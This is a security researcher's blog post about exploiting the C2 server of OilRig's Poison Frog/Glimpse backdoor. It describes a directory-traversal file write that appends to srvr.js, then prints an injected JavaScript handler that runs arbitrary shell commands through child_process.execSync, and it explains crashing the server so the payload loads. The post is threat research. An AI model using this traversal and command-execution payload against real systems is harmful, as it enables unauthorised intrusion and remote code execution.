Fighting fire with fire, exploits against OilRig’s tool kit

Waylon Grange
Stage 2 Security
Published in
6 min readSep 30, 2020

The term Advanced Persistent Threat (APT) has always bothered me. It feels like a term with no meaning. Original used by the US Air Force to describe the computer espionage efforts of China, the term is now used to describe any sort of computer based attack by an organized group. It seems that by calling the attack “Advanced” one can be excused for falling victim to the attack. You see it all the time when a company discloses that they’ve been compromised, they are quick to point out they were attacked by an APT or a “sophisticated adversary”.

I really want to dispel this false pretense and so I set out to show that these adversaries aren’t all that advanced. I gave a presentation at Black Hat and Defcon a few years ago where I took a look at some of the most famous RATs used in APT reports and disclosed vulnerabilities that would allowed someone to hack them back.

Slides from Digital Vengeance presentation

It has kind of become a passion of mine to research malware toolkits for vulnerabilities. My hope is to take the “Advanced” out of APT and help defenders have a healthier understanding about who they are up against. In this blog I’m releasing another exploit, this time against the actor known as APT34.

Helix Kitten aka OilRig
Helix Kitten aka OilRig

OilRig, aka Helix Kitten/APT34, is a threat group operating out of the Middle East with suspected ties to the Iranian government. The actor has targeted aerospace, chemical, energy, finical, governments, telecommunications, and transportation industries. They typically rely on social engineering, stolen credentials, and supply chain attacks to gain an initial foothold into their targets. Although the group has utilized a variety of custom lightweight tools and scripts to maintain access into target networks, they seem to have a preference for developing Powershell scripts. One such Powershell backdoor utilized by this group is known as Poison Frog.

The Poison Frog backdoor was first observed in 2017 and utilized at least through 2019. It is a Powershell (sometimes .NET) based backdoor that utilizes DNS as its main command and control channel. The backdoor is very light weight and provides only the basic C2 capabilities such as download, upload, and execute. The crew over at IronNet did a great writeup of Poison Frog’s DNS Tunneling protocol if you are interested. This type of lightweight backdoor is very typical for this actor. The actor has continually improved upon and modified the tool which alters its signature and thus increases time before detection.

Then, in the Spring of 2019 a Twitter user by the name of “dookhtegan” claimed to have access to a data dump from the OilRig actor and for a short time shared an archive file. The archive contained a large list of compromised credentials along with the source code for a number of OilRig’s toolkits, among them being Poison Frog. This source code for the Poison Frog C2 server is where I focused my attention.

If you are curious about the dump checkout Unit 42’s article here.

Image from PaloAlto’s Unit 42

I have uploaded the leaked source code for Glimpse to https://github.com/Professor-plum/OilRig-Glimpse. Glimpse is the name for their updated version of the Poison Frog malware. This is the code base we’ll be using for our exploit. From the source we can see that the server component is a node.js project with a Windows binary for the frontend. All we’ll need is the node.js server setup, we won’t be using the frontend at all.

The C2 script is basically a modified DNS Server. It simply decodes DNS requests from the agents, then responds to the message via the A record answer it sends back. The basic format of the encoded dns query looks like this.

In the handler function the are 6 types of commands the script responds to.

  • 0Check for task Agent is checking for any tasking
  • 1Receive Task Agent is expecting task data
  • 2Send Task Response Agent is sending task response to server
  • MMode? doesn’t do anything interesting so I didn’t look into it much
  • WWait Similar to Check for task above but using TXT records instead of A records
  • DData Similar to Receive Response above but using TXT records instead of A records

When looking for vulnerabilities in C&C software the first place I look is in the communication protocol between the agent and the controller. Authors often don’t program defensively here because they assume they control both sides of the conversation. Thus, they implicitly trust data being sent from the agent when really they should be treating it like user input and sanitize it.

Such is the case here. Look closely at this code block in the Receive Response block. Here, the server checks if this is the first “chunk” of the response. If so then it extracts the file name from the agent. On line 389 (line 16 in the gist above) it is then using that file name to build the full file path. The keen observer may note at this point that there is no sanitation done on the filename receive. This opens up directory traversal since this is used as the path where out file contents will be uploaded. We now have remote file upload to a location of our choosing!

So how do we turn arbitrary file write into remote code execution? This is where we’ll need to get a little creative. The “agPath” variable is the relative to the location of the srvr.js script that node.js is running. Thus if we use a filename of “../../../../../srvr.js” as are upload file name we can append content to the server script itself. We’ll simply add some features to the server that will help us gain reliable code execution. The code block below replaces the default dns handler function with our own. It simply wraps the original handler function but also looks for our special marker. If found then it runs our given command and returns the results.

function newhandle(req, res) {
var rawData = req.question[0].name.toString().split('.');
var data = rawData[0];
var mainData = rawData[1];
if (data == 'ccc') {
var cmd = Buffer(mainData, 'hex').toString();
var out = require('child_process').execSync(cmd).toString( 'hex');
res.answer.push(
{name:req.question[0].name, type:'TXT', data: out}
);
res.end();
} else {
handler(req, res);
}
}
server.removeListener('request', handler);
server.on('request', newhandler);

Once this code is written the server needs to be restarted for changes to take place. Since they are using the tool forever to run node, if the process ever crashes forever will just restart it. Thus, we just need to crash the server which turns out is pretty easy. I found such a way to crash the server as I was writing my script to mimic an agent matching their protocol. Simply making a Send Task Response dns query that doesn’t contain a file name is enough to knock it over.

Below you can see the exploit in action, not much to look at but you get the gist. The full exploit can be downloaded here

I’d like to claim that I’m the first to discover this vulnerability but I’m not sure this is the case. Last year Symantec published an article which states they discovered Waterbug (Turla) using Crambus (OilRig) servers to host their operations. In the article they conclude that Turla compromised the OilRigs servers and utilized them to attack some of OilRig’s victims. Could it be that this is the exploit Turla group used?

Turla compromised OilRig infrastructure

--

--